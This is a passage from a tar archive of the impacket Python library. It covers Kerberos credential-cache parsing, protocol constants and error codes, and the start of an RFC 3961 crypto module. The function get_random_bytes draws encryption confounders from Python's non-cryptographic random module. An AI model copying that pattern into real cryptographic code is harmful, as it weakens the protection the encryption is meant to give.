cipher = crypto._enctype_table[decodedTGT['enc-part']['etype']]
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
plainText = cipher.decrypt(oldSessionKey, 3, str(cipherText))
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
credential = Credential()
server = types.Principal()
server.from_asn1(encASRepPart, 'srealm', 'sname')
tmpServer = Principal()
tmpServer.fromPrincipal(server)
credential['client'] = self.principal
credential['server'] = tmpServer
credential['is_skey'] = 0
credential['key'] = KeyBlock()
credential['key']['keytype'] = int(encASRepPart['key']['keytype'])
credential['key']['keyvalue'] = str(encASRepPart['key']['keyvalue'])
credential['key']['keylen'] = len(credential['key']['keyvalue'])
credential['time'] = Times()
credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['authtime']))
credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['starttime']))
credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['endtime']))
credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['renew-till']))
flags = self.reverseFlags(encASRepPart['flags'])
credential['tktflags'] = flags
credential['num_address'] = 0
credential.ticket = CountedOctetString()
credential.ticket['data'] = encoder.encode(decodedTGT['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True))
credential.ticket['length'] = len(credential.ticket['data'])
credential.secondTicket = CountedOctetString()
credential.secondTicket['data'] = ''
credential.secondTicket['length'] = 0
self.credentials.append(credential)
def fromTGS(self, tgs, oldSessionKey, sessionKey):
self.headers = []
header = Header()
header['tag'] = 1
header['taglen'] = 8
header['tagdata'] = '\xff\xff\xff\xff\x00\x00\x00\x00'
self.headers.append(header)
decodedTGS = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
tmpPrincipal = types.Principal()
tmpPrincipal.from_asn1(decodedTGS, 'crealm', 'cname')
self.principal = Principal()
self.principal.fromPrincipal(tmpPrincipal)
# Now let's add the credential
cipherText = decodedTGS['enc-part']['cipher']
cipher = crypto._enctype_table[decodedTGS['enc-part']['etype']]
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(oldSessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
credential = Credential()
server = types.Principal()
server.from_asn1(encTGSRepPart, 'srealm', 'sname')
tmpServer = Principal()
tmpServer.fromPrincipal(server)
credential['client'] = self.principal
credential['server'] = tmpServer
credential['is_skey'] = 0
credential['key'] = KeyBlock()
credential['key']['keytype'] = int(encTGSRepPart['key']['keytype'])
credential['key']['keyvalue'] = str(encTGSRepPart['key']['keyvalue'])
credential['key']['keylen'] = len(credential['key']['keyvalue'])
credential['time'] = Times()
credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['authtime']))
credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['starttime']))
credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['endtime']))
credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['renew-till']))
flags = self.reverseFlags(encTGSRepPart['flags'])
credential['tktflags'] = flags
credential['num_address'] = 0
credential.ticket = CountedOctetString()
credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True))
credential.ticket['length'] = len(credential.ticket['data'])
credential.secondTicket = CountedOctetString()
credential.secondTicket['data'] = ''
credential.secondTicket['length'] = 0
self.credentials.append(credential)
@classmethod
def loadFile(cls, fileName):
f = open(fileName,'rb')
data = f.read()
f.close()
return cls(data)
def saveFile(self, fileName):
f = open(fileName,'wb+')
f.write(self.getData())
f.close()
def prettyPrint(self):
print "Primary Principal: %s" % self.principal.prettyPrint()
print "Credentials: "
for i, credential in enumerate(self.credentials):
print "[%d]" % i
credential.prettyPrint('\t')
if __name__ == '__main__':
import os
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
ccache.prettyPrint()
impacket-0.9.15/impacket/krb5/constants.py 0000600 0000765 0000000 00000050132 12734531507 020500 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# Constants for krb5.asn1 package. I took them out from the RFC plus
# some data from [MS-KILE] as well.
#
#
from impacket.dcerpc.v5.enum import Enum
def encodeFlags(flags):
finalFlags = list()
for i in range(0,32):
finalFlags.append(0,)
for f in flags:
finalFlags[f] = 1
return finalFlags
class ApplicationTagNumbers(Enum):
Ticket = 1
Authenticator = 2
EncTicketPart = 3
AS_REQ = 10
AS_REP = 11
TGS_REQ = 12
TGS_REP = 13
AP_REQ = 14
AP_REP = 15
RESERVED16 = 16
RESERVED17 = 17
KRB_SAFE = 20
KRB_PRIV = 21
KRB_CRED = 22
EncASRepPart = 25
EncTGSRepPart = 26
EncApRepPart = 27
EncKrbPrivPart = 28
EncKrbCredPart = 29
KRB_ERROR = 30
class PrincipalNameType(Enum):
NT_UNKNOWN = 0
NT_PRINCIPAL = 1
NT_SRV_INST = 2
NT_SRV_HST = 3
NT_SRV_XHST = 4
NT_UID = 5
NT_X500_PRINCIPAL = 6
NT_SMTP_NAME = 7
NT_ENTERPRISE = 10
class PreAuthenticationDataTypes(Enum):
PA_TGS_REQ = 1
PA_ENC_TIMESTAMP = 2
PA_PW_SALT = 3
PA_ENC_UNIX_TIME = 5
PA_SANDIA_SECUREID = 6
PA_SESAME = 7
PA_OSF_DCE = 8
PA_CYBERSAFE_SECUREID = 9
PA_AFS3_SALT = 10
PA_ETYPE_INFO = 11
PA_SAM_CHALLENGE = 12
PA_SAM_RESPONSE = 13
PA_PK_AS_REQ_OLD = 14
PA_PK_AS_REP_OLD = 15
PA_PK_AS_REQ = 16
PA_PK_AS_REP = 17
PA_ETYPE_INFO2 = 19
PA_USE_SPECIFIED_KVNO = 20
PA_SAM_REDIRECT = 21
PA_GET_FROM_TYPED_DATA = 22
TD_PADATA = 22
PA_SAM_ETYPE_INFO = 23
PA_ALT_PRINC = 24
PA_SAM_CHALLENGE2 = 30
PA_SAM_RESPONSE2 = 31
PA_EXTRA_TGT = 41
TD_PKINIT_CMS_CERTIFICATES = 101
TD_KRB_PRINCIPAL = 102
TD_KRB_REALM = 103
TD_TRUSTED_CERTIFIERS = 104
TD_CERTIFICATE_INDEX = 105
TD_APP_DEFINED_ERROR = 106
TD_REQ_NONCE = 107
TD_REQ_SEQ = 108
PA_PAC_REQUEST = 128
PA_FOR_USER = 129
PA_FX_COOKIE = 133
PA_FX_FAST = 136
PA_FX_ERROR = 137
PA_ENCRYPTED_CHALLENGE = 138
PA_SUPPORTED_ENCTYPES = 165
PA_PAC_OPTIONS = 167
class AddressType(Enum):
IPv4 = 2
Directional = 3
ChaosNet = 5
XNS = 6
ISO = 7
DECNET_Phase_IV = 12
AppleTalk_DDP = 16
NetBios = 20
IPv6 = 24
# 7.5.4. Authorization Data Types
class AuthorizationDataType(Enum):
AD_IF_RELEVANT = 1
AD_INTENDED_FOR_SERVER = 2
AD_INTENDED_FOR_APPLICATION_CLASS = 3
AD_KDC_ISSUED = 4
AD_AND_OR = 5
AD_MANDATORY_TICKET_EXTENSIONS = 6
AD_IN_TICKET_EXTENSIONS = 7
AD_MANDATORY_FOR_KDC = 8
#Reserved values = 9-63
OSF_DCE = 64
SESAME = 65
AD_OSF_DCE_PKI_CERTID = 66
AD_WIN2K_PAC = 128
AD_ETYPE_NEGOTIATION = 129
# 7.5.5. Transited Encoding Types
class TransitedEncodingTypes(Enum):
DOMAIN_X500_COMPRESS = 1
# 7.5.6. Protocol Version Number
class ProtocolVersionNumber(Enum):
pvno = 5
# 7.5.7. Kerberos Message Types
class KerberosMessageTypes(Enum):
KRB_AS_REQ = 10 # Request for initial authentication
KRB_AS_REP = 11 # Response to KRB_AS_REQ request
KRB_TGS_REQ = 12 # Request for authentication based on TGT
KRB_TGS_REP = 13 # Response to KRB_TGS_REQ request
KRB_AP_REQ = 14 # Application request to server
KRB_AP_REP = 15 # Response to KRB_AP_REQ_MUTUAL
KRB_RESERVED16 = 16 # Reserved for user-to-user krb_tgt_request
KRB_RESERVED17 = 17 # Reserved for user-to-user krb_tgt_reply
KRB_SAFE = 20 # Safe (checksummed) application message
KRB_PRIV = 21 # Private (encrypted) application message
KRB_CRED = 22 # Private (encrypted) message to forward
# credentials
KRB_ERROR = 30 # Error response
# 7.5.8. Name Types
class NameTypes(Enum):
KRB_NT_UNKNOWN = 0 # Name type not known
KRB_NT_PRINCIPAL = 1 # Just the name of the principal as in DCE,
# or for users
KRB_NT_SRV_INST = 2 # Service and other unique instance (krbtgt)
KRB_NT_SRV_HST = 3 # Service with host name as instance
# (telnet, rcommands)
KRB_NT_SRV_XHST = 4 # Service with host as remaining components
KRB_NT_UID = 5 # Unique ID
KRB_NT_X500_PRINCIPAL = 6 # Encoded X.509 Distinguished name [RFC2253]
KRB_NT_SMTP_NAME = 7 # Name in form of SMTP email name
# (e.g., user@example.com)
KRB_NT_ENTERPRISE = 10 # Enterprise name; may be mapped to
# principal name
# 7.5.9. Error Codes
class ErrorCodes(Enum):
KDC_ERR_NONE = 0 # No error
KDC_ERR_NAME_EXP = 1 # Client's entry in database
# has expired
KDC_ERR_SERVICE_EXP = 2 # Server's entry in database
# has expired
KDC_ERR_BAD_PVNO = 3 # Requested protocol version
# number not supported
KDC_ERR_C_OLD_MAST_KVNO = 4 # Client's key encrypted in
# old master key
KDC_ERR_S_OLD_MAST_KVNO = 5 # Server's key encrypted in
# old master key
KDC_ERR_C_PRINCIPAL_UNKNOWN = 6 # Client not found in
# Kerberos database
KDC_ERR_S_PRINCIPAL_UNKNOWN = 7 # Server not found in
# Kerberos database
KDC_ERR_PRINCIPAL_NOT_UNIQUE = 8 # Multiple principal entries
# in database
KDC_ERR_NULL_KEY = 9 # The client or server has a
# null key
KDC_ERR_CANNOT_POSTDATE = 10 # Ticket not eligible for
# postdating
KDC_ERR_NEVER_VALID = 11 # Requested starttime is
# later than end time
KDC_ERR_POLICY = 12 # KDC policy rejects request
KDC_ERR_BADOPTION = 13 # KDC cannot accommodate
# requested option
KDC_ERR_ETYPE_NOSUPP = 14 # KDC has no support for
# encryption type
KDC_ERR_SUMTYPE_NOSUPP = 15 # KDC has no support for
# checksum type
KDC_ERR_PADATA_TYPE_NOSUPP = 16 # KDC has no support for
# padata type
KDC_ERR_TRTYPE_NOSUPP = 17 # KDC has no support for
# transited type
KDC_ERR_CLIENT_REVOKED = 18 # Clients credentials have
# been revoked
KDC_ERR_SERVICE_REVOKED = 19 # Credentials for server have
# been revoked
KDC_ERR_TGT_REVOKED = 20 # TGT has been revoked
KDC_ERR_CLIENT_NOTYET = 21 # Client not yet valid; try
# again later
KDC_ERR_SERVICE_NOTYET = 22 # Server not yet valid; try
# again later
KDC_ERR_KEY_EXPIRED = 23 # Password has expired;
# change password to reset
KDC_ERR_PREAUTH_FAILED = 24 # Pre-authentication
# information was invalid
KDC_ERR_PREAUTH_REQUIRED = 25 # Additional pre-
# authentication required
KDC_ERR_SERVER_NOMATCH = 26 # Requested server and ticket
# don't match
KDC_ERR_MUST_USE_USER2USER = 27 # Server principal valid for
# user2user only
KDC_ERR_PATH_NOT_ACCEPTED = 28 # KDC Policy rejects
# transited path
KDC_ERR_SVC_UNAVAILABLE = 29 # A service is not available
KRB_AP_ERR_BAD_INTEGRITY = 31 # Integrity check on
# decrypted field failed
KRB_AP_ERR_TKT_EXPIRED = 32 # Ticket expired
KRB_AP_ERR_TKT_NYV = 33 # Ticket not yet valid
KRB_AP_ERR_REPEAT = 34 # Request is a replay
KRB_AP_ERR_NOT_US = 35 # The ticket isn't for us
KRB_AP_ERR_BADMATCH = 36 # Ticket and authenticator
# don't match
KRB_AP_ERR_SKEW = 37 # Clock skew too great
KRB_AP_ERR_BADADDR = 38 # Incorrect net address
KRB_AP_ERR_BADVERSION = 39 # Protocol version mismatch
KRB_AP_ERR_MSG_TYPE = 40 # Invalid msg type
KRB_AP_ERR_MODIFIED = 41 # Message stream modified
KRB_AP_ERR_BADORDER = 42 # Message out of order
KRB_AP_ERR_BADKEYVER = 44 # Specified version of key is
# not available
KRB_AP_ERR_NOKEY = 45 # Service key not available
KRB_AP_ERR_MUT_FAIL = 46 # Mutual authentication
# failed
KRB_AP_ERR_BADDIRECTION = 47 # Incorrect message direction
KRB_AP_ERR_METHOD = 48 # Alternative authentication
# method required
KRB_AP_ERR_BADSEQ = 49 # Incorrect sequence number
# in message
KRB_AP_ERR_INAPP_CKSUM = 50 # Inappropriate type of
# checksum in message
KRB_AP_PATH_NOT_ACCEPTED = 51 # Policy rejects transited
# path
KRB_ERR_RESPONSE_TOO_BIG = 52 # Response too big for UDP;
# retry with TCP
KRB_ERR_GENERIC = 60 # Generic error (description
# in e-text)
KRB_ERR_FIELD_TOOLONG = 61 # Field is too long for this
# implementation
KDC_ERROR_CLIENT_NOT_TRUSTED = 62 # Reserved for PKINIT
KDC_ERROR_KDC_NOT_TRUSTED = 63 # Reserved for PKINIT
KDC_ERROR_INVALID_SIG = 64 # Reserved for PKINIT
KDC_ERR_KEY_TOO_WEAK = 65 # Reserved for PKINIT
KDC_ERR_CERTIFICATE_MISMATCH = 66 # Reserved for PKINIT
KRB_AP_ERR_NO_TGT = 67 # No TGT available to
# validate USER-TO-USER
KDC_ERR_WRONG_REALM = 68 # Reserved for future use
KRB_AP_ERR_USER_TO_USER_REQUIRED = 69 # Ticket must be for
# USER-TO-USER
KDC_ERR_CANT_VERIFY_CERTIFICATE = 70 # Reserved for PKINIT
KDC_ERR_INVALID_CERTIFICATE = 71 # Reserved for PKINIT
KDC_ERR_REVOKED_CERTIFICATE = 72 # Reserved for PKINIT
KDC_ERR_REVOCATION_STATUS_UNKNOWN = 73 # Reserved for PKINIT
KDC_ERR_REVOCATION_STATUS_UNAVAILABLE = 74 # Reserved for PKINIT
KDC_ERR_CLIENT_NAME_MISMATCH = 75 # Reserved for PKINIT
KDC_ERR_KDC_NAME_MISMATCH = 76 # Reserved for PKINIT
ERROR_MESSAGES = {
0 : ('KDC_ERR_NONE', 'No error'),
1 : ('KDC_ERR_NAME_EXP', 'Client\'s entry in database has expired'),
2 : ('KDC_ERR_SERVICE_EXP', 'Server\'s entry in database has expired'),
3 : ('KDC_ERR_BAD_PVNO', 'Requested protocol version number not supported'),
4 : ('KDC_ERR_C_OLD_MAST_KVNO', 'Client\'s key encrypted in old master key'),
5 : ('KDC_ERR_S_OLD_MAST_KVNO', 'Server\'s key encrypted in old master key'),
6 : ('KDC_ERR_C_PRINCIPAL_UNKNOWN', 'Client not found in Kerberos database'),
7 : ('KDC_ERR_S_PRINCIPAL_UNKNOWN', 'Server not found in Kerberos database'),
8 : ('KDC_ERR_PRINCIPAL_NOT_UNIQUE', 'Multiple principal entries in database'),
9 : ('KDC_ERR_NULL_KEY', 'The client or server has a null key'),
10 : ('KDC_ERR_CANNOT_POSTDATE', 'Ticket not eligible for postdating'),
11 : ('KDC_ERR_NEVER_VALID', 'Requested starttime is later than end time'),
12 : ('KDC_ERR_POLICY', 'KDC policy rejects request'),
13 : ('KDC_ERR_BADOPTION', 'KDC cannot accommodate requested option'),
14 : ('KDC_ERR_ETYPE_NOSUPP', 'KDC has no support for encryption type'),
15 : ('KDC_ERR_SUMTYPE_NOSUPP', 'KDC has no support for checksum type'),
16 : ('KDC_ERR_PADATA_TYPE_NOSUPP', 'KDC has no support for padata type'),
17 : ('KDC_ERR_TRTYPE_NOSUPP', 'KDC has no support for transited type'),
18 : ('KDC_ERR_CLIENT_REVOKED', 'Clients credentials have been revoked'),
19 : ('KDC_ERR_SERVICE_REVOKED', 'Credentials for server have been revoked'),
20 : ('KDC_ERR_TGT_REVOKED', 'TGT has been revoked'),
21 : ('KDC_ERR_CLIENT_NOTYET', 'Client not yet valid; try again later'),
22 : ('KDC_ERR_SERVICE_NOTYET', 'Server not yet valid; try again later'),
23 : ('KDC_ERR_KEY_EXPIRED', 'Password has expired; change password to reset'),
24 : ('KDC_ERR_PREAUTH_FAILED', 'Pre-authentication information was invalid'),
25 : ('KDC_ERR_PREAUTH_REQUIRED', 'Additional pre-authentication required'),
26 : ('KDC_ERR_SERVER_NOMATCH', 'Requested server and ticket don\'t match'),
27 : ('KDC_ERR_MUST_USE_USER2USER', 'Server principal valid for user2user only'),
28 : ('KDC_ERR_PATH_NOT_ACCEPTED', 'KDC Policy rejects transited path'),
29 : ('KDC_ERR_SVC_UNAVAILABLE', 'A service is not available'),
31 : ('KRB_AP_ERR_BAD_INTEGRITY', 'Integrity check on decrypted field failed'),
32 : ('KRB_AP_ERR_TKT_EXPIRED', 'Ticket expired'),
33 : ('KRB_AP_ERR_TKT_NYV', 'Ticket not yet valid'),
34 : ('KRB_AP_ERR_REPEAT', 'Request is a replay'),
35 : ('KRB_AP_ERR_NOT_US', 'The ticket isn\'t for us'),
36 : ('KRB_AP_ERR_BADMATCH', 'Ticket and authenticator don\'t match'),
37 : ('KRB_AP_ERR_SKEW', 'Clock skew too great'),
38 : ('KRB_AP_ERR_BADADDR', 'Incorrect net address'),
39 : ('KRB_AP_ERR_BADVERSION', 'Protocol version mismatch'),
40 : ('KRB_AP_ERR_MSG_TYPE', 'Invalid msg type'),
41 : ('KRB_AP_ERR_MODIFIED', 'Message stream modified'),
42 : ('KRB_AP_ERR_BADORDER', 'Message out of order'),
44 : ('KRB_AP_ERR_BADKEYVER', 'Specified version of key is not available'),
45 : ('KRB_AP_ERR_NOKEY', 'Service key not available'),
46 : ('KRB_AP_ERR_MUT_FAIL', 'Mutual authentication failed'),
47 : ('KRB_AP_ERR_BADDIRECTION', 'Incorrect message direction'),
48 : ('KRB_AP_ERR_METHOD', 'Alternative authentication method required'),
49 : ('KRB_AP_ERR_BADSEQ', 'Incorrect sequence number in message'),
50 : ('KRB_AP_ERR_INAPP_CKSUM', 'Inappropriate type of checksum in message'),
51 : ('KRB_AP_PATH_NOT_ACCEPTED', 'Policy rejects transited path'),
52 : ('KRB_ERR_RESPONSE_TOO_BIG', 'Response too big for UDP; retry with TCP'),
60 : ('KRB_ERR_GENERIC', 'Generic error (description in e-text)'),
61 : ('KRB_ERR_FIELD_TOOLONG', 'Field is too long for this implementation'),
62 : ('KDC_ERROR_CLIENT_NOT_TRUSTED', 'Reserved for PKINIT'),
63 : ('KDC_ERROR_KDC_NOT_TRUSTED', 'Reserved for PKINIT'),
64 : ('KDC_ERROR_INVALID_SIG', 'Reserved for PKINIT'),
65 : ('KDC_ERR_KEY_TOO_WEAK', 'Reserved for PKINIT'),
66 : ('KDC_ERR_CERTIFICATE_MISMATCH', 'Reserved for PKINIT'),
67 : ('KRB_AP_ERR_NO_TGT', 'No TGT available to validate USER-TO-USER'),
68 : ('KDC_ERR_WRONG_REALM', 'Reserved for future use'),
69 : ('KRB_AP_ERR_USER_TO_USER_REQUIRED', 'Ticket must be for USER-TO-USER'),
70 : ('KDC_ERR_CANT_VERIFY_CERTIFICATE', 'Reserved for PKINIT'),
71 : ('KDC_ERR_INVALID_CERTIFICATE', 'Reserved for PKINIT'),
72 : ('KDC_ERR_REVOKED_CERTIFICATE', 'Reserved for PKINIT'),
73 : ('KDC_ERR_REVOCATION_STATUS_UNKNOWN', 'Reserved for PKINIT'),
74 : ('KDC_ERR_REVOCATION_STATUS_UNAVAILABLE', 'Reserved for PKINIT'),
75 : ('KDC_ERR_CLIENT_NAME_MISMATCH', 'Reserved for PKINIT'),
76 : ('KDC_ERR_KDC_NAME_MISMATCH', 'Reserved for PKINIT'),
}
class TicketFlags(Enum):
reserved = 0
forwardable = 1
forwarded = 2
proxiable = 3
proxy = 4
may_postdate = 5
postdated = 6
invalid = 7
renewable = 8
initial = 9
pre_authent = 10
hw_authent = 11
transited_policy_checked = 12
ok_as_delegate = 13
enc_pa_rep = 15
anonymous = 16
class KDCOptions(Enum):
reserved = 0
forwardable = 1
forwarded = 2
proxiable = 3
proxy = 4
allow_postdate = 5
postdated = 6
unused7 = 7
renewable = 8
unused9 = 9
unused10 = 10
opt_hardware_auth = 11
unused12 = 12
unused13 = 13
cname_in_addl_tkt = 14
canonicalize = 15
disable_transited_check = 26
renewable_ok = 27
enc_tkt_in_skey = 28
renew = 30
validate = 31
class APOptions(Enum):
reserved = 0
use_session_key = 1
mutual_required = 2
class EncryptionTypes(Enum):
des_cbc_crc = 1
des_cbc_md4 = 2
des_cbc_md5 = 3
_reserved_4 = 4
des3_cbc_md5 = 5
_reserved_6 = 6
des3_cbc_sha1 = 7
dsaWithSHA1_CmsOID = 9
md5WithRSAEncryption_CmsOID = 10
sha1WithRSAEncryption_CmsOID = 11
rc2CBC_EnvOID = 12
rsaEncryption_EnvOID = 13
rsaES_OAEP_ENV_OID = 14
des_ede3_cbc_Env_OID = 15
des3_cbc_sha1_kd = 16
aes128_cts_hmac_sha1_96 = 17
aes256_cts_hmac_sha1_96 = 18
rc4_hmac = 23
rc4_hmac_exp = 24
subkey_keymaterial = 65
class ChecksumTypes(Enum):
rsa_md5_des = 8
rsa_md4_des = 4
hmac_md5 = -138
hmac_sha1_des3_kd = 12
hmac_sha1_96_aes128 = 15
hmac_sha1_96_aes256 = 16
impacket-0.9.15/impacket/krb5/crypto.py 0000600 0000765 0000000 00000062341 12734531507 020011 0 ustar beto wheel 0000000 0000000 # Copyright (C) 2013 by the Massachusetts Institute of Technology.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
# OF THE POSSIBILITY OF SUCH DAMAGE.
# XXX current status:
# * Done and tested
# - AES encryption, checksum, string2key, prf
# - cf2 (needed for FAST)
# * Still to do:
# - DES enctypes and cksumtypes
# - RC4 exported enctype (if we need it for anything)
# - Unkeyed checksums
# - Special RC4, raw DES/DES3 operations for GSSAPI
# * Difficult or low priority:
# - Camellia not supported by PyCrypto
# - Cipher state only needed for kcmd suite
# - Nonstandard enctypes and cksumtypes like des-hmac-sha1
from struct import pack, unpack
from binascii import unhexlify
import string
import random
from Crypto.Util.number import GCD as gcd
from Crypto.Cipher import AES, DES3, ARC4
from Crypto.Hash import HMAC, MD4, MD5, SHA
from Crypto.Protocol.KDF import PBKDF2
def get_random_bytes(lenBytes):
# We don't really need super strong randomness here to use PyCrypto.Random
return "".join([random.choice(string.digits+string.letters) for i in xrange(lenBytes)])
class Enctype(object):
DES_CRC = 1
DES_MD4 = 2
DES_MD5 = 3
DES3 = 16
AES128 = 17
AES256 = 18
RC4 = 23
class Cksumtype(object):
CRC32 = 1
MD4 = 2
MD4_DES = 3
MD5 = 7
MD5_DES = 8
SHA1 = 9
SHA1_DES3 = 12
SHA1_AES128 = 15
SHA1_AES256 = 16
HMAC_MD5 = -138
class InvalidChecksum(ValueError):
pass
def _zeropad(s, padsize):
# Return s padded with 0 bytes to a multiple of padsize.
padlen = (padsize - (len(s) % padsize)) % padsize
return s + '\0'*padlen
def _xorbytes(b1, b2):
# xor two strings together and return the resulting string.
assert len(b1) == len(b2)
return ''.join(chr(ord(x) ^ ord(y)) for x, y in zip(b1, b2))
def _mac_equal(mac1, mac2):
# Constant-time comparison function. (We can't use HMAC.verify
# since we use truncated macs.)
assert len(mac1) == len(mac2)
res = 0
for x, y in zip(mac1, mac2):
res |= ord(x) ^ ord(y)
return res == 0
def _nfold(str, nbytes):
# Convert str to a string of length nbytes using the RFC 3961 nfold
# operation.
# Rotate the bytes in str to the right by nbits bits.
def rotate_right(str, nbits):
nbytes, remain = (nbits//8) % len(str), nbits % 8
return ''.join(chr((ord(str[i-nbytes]) >> remain) |
((ord(str[i-nbytes-1]) << (8-remain)) & 0xff))
for i in xrange(len(str)))
# Add equal-length strings together with end-around carry.
def add_ones_complement(str1, str2):
n = len(str1)
v = [ord(a) + ord(b) for a, b in zip(str1, str2)]
# Propagate carry bits to the left until there aren't any left.
while any(x & ~0xff for x in v):
v = [(v[i-n+1]>>8) + (v[i]&0xff) for i in xrange(n)]
return ''.join(chr(x) for x in v)
# Concatenate copies of str to produce the least common multiple
# of len(str) and nbytes, rotating each copy of str to the right
# by 13 bits times its list position. Decompose the concatenation
# into slices of length nbytes, and add them together as
# big-endian ones' complement integers.
slen = len(str)
lcm = nbytes * slen / gcd(nbytes, slen)
bigstr = ''.join((rotate_right(str, 13 * i) for i in xrange(lcm / slen)))
slices = (bigstr[p:p+nbytes] for p in xrange(0, lcm, nbytes))
return reduce(add_ones_complement, slices)
def _is_weak_des_key(keybytes):
return keybytes in ('\x01\x01\x01\x01\x01\x01\x01\x01',
'\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE',
'\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E',
'\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1',
'\x01\xFE\x01\xFE\x01\xFE\x01\xFE',
'\xFE\x01\xFE\x01\xFE\x01\xFE\x01',
'\x1F\xE0\x1F\xE0\x0E\xF1\x0E\xF1',
'\xE0\x1F\xE0\x1F\xF1\x0E\xF1\x0E',
'\x01\xE0\x01\xE0\x01\xF1\x01\xF1',
'\xE0\x01\xE0\x01\xF1\x01\xF1\x01',
'\x1F\xFE\x1F\xFE\x0E\xFE\x0E\xFE',
'\xFE\x1F\xFE\x1F\xFE\x0E\xFE\x0E',
'\x01\x1F\x01\x1F\x01\x0E\x01\x0E',
'\x1F\x01\x1F\x01\x0E\x01\x0E\x01',
'\xE0\xFE\xE0\xFE\xF1\xFE\xF1\xFE',
'\xFE\xE0\xFE\xE0\xFE\xF1\xFE\xF1')
class _EnctypeProfile(object):
# Base class for enctype profiles. Usable enctype classes must define:
# * enctype: enctype number
# * keysize: protocol size of key in bytes
# * seedsize: random_to_key input size in bytes
# * random_to_key (if the keyspace is not dense)
# * string_to_key
# * encrypt
# * decrypt
# * prf
@classmethod
def random_to_key(cls, seed):
if len(seed) != cls.seedsize:
raise ValueError('Wrong seed length')
return Key(cls.enctype, seed)
class _SimplifiedEnctype(_EnctypeProfile):
# Base class for enctypes using the RFC 3961 simplified profile.
# Defines the encrypt, decrypt, and prf methods. Subclasses must
# define:
# * blocksize: Underlying cipher block size in bytes
# * padsize: Underlying cipher padding multiple (1 or blocksize)
# * macsize: Size of integrity MAC in bytes
# * hashmod: PyCrypto hash module for underlying hash function
# * basic_encrypt, basic_decrypt: Underlying CBC/CTS cipher
@classmethod
def derive(cls, key, constant):
# RFC 3961 only says to n-fold the constant only if it is
# shorter than the cipher block size. But all Unix
# implementations n-fold constants if their length is larger
# than the block size as well, and n-folding when the length
# is equal to the block size is a no-op.
plaintext = _nfold(constant, cls.blocksize)
rndseed = ''
while len(rndseed) < cls.seedsize:
ciphertext = cls.basic_encrypt(key, plaintext)
rndseed += ciphertext
plaintext = ciphertext
return cls.random_to_key(rndseed[0:cls.seedsize])
@classmethod
def encrypt(cls, key, keyusage, plaintext, confounder):
ki = cls.derive(key, pack('>IB', keyusage, 0x55))
ke = cls.derive(key, pack('>IB', keyusage, 0xAA))
if confounder is None:
confounder = get_random_bytes(cls.blocksize)
basic_plaintext = confounder + _zeropad(plaintext, cls.padsize)
hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest()
return cls.basic_encrypt(ke, basic_plaintext) + hmac[:cls.macsize]
@classmethod
def decrypt(cls, key, keyusage, ciphertext):
ki = cls.derive(key, pack('>IB', keyusage, 0x55))
ke = cls.derive(key, pack('>IB', keyusage, 0xAA))
if len(ciphertext) < cls.blocksize + cls.macsize:
raise ValueError('ciphertext too short')
basic_ctext, mac = ciphertext[:-cls.macsize], ciphertext[-cls.macsize:]
if len(basic_ctext) % cls.padsize != 0:
raise ValueError('ciphertext does not meet padding requirement')
basic_plaintext = cls.basic_decrypt(ke, basic_ctext)
hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest()
expmac = hmac[:cls.macsize]
if not _mac_equal(mac, expmac):
raise InvalidChecksum('ciphertext integrity failure')
# Discard the confounder.
return basic_plaintext[cls.blocksize:]
@classmethod
def prf(cls, key, string):
# Hash the input. RFC 3961 says to truncate to the padding
# size, but implementations truncate to the block size.
hashval = cls.hashmod.new(string).digest()
truncated = hashval[:-(len(hashval) % cls.blocksize)]
